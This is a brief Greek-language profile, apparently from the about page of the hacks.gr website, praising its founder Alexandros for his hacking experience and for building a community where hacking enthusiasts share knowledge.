Ο Αλέξανδρος είναι ο ιδρυτής του hacks.gr και η κινητήρια δύναμη πίσω από το όραμά μας.
Με πολυετή εμπειρία στον κόσμο του hacking, έχει διαμορφώσει μια κοινότητα που είναι πηγή έμπνευσης και μάθησης για όλους.
Με τον προσωπικό του χαρακτήρα και την τεχνογνωσία του, έχει δημιουργήσει έναν χώρο όπου οι λάτρεις του hacking μπορούν να συναντιούνται, να μοιράζονται γνώσεις και να εξελίσσονται.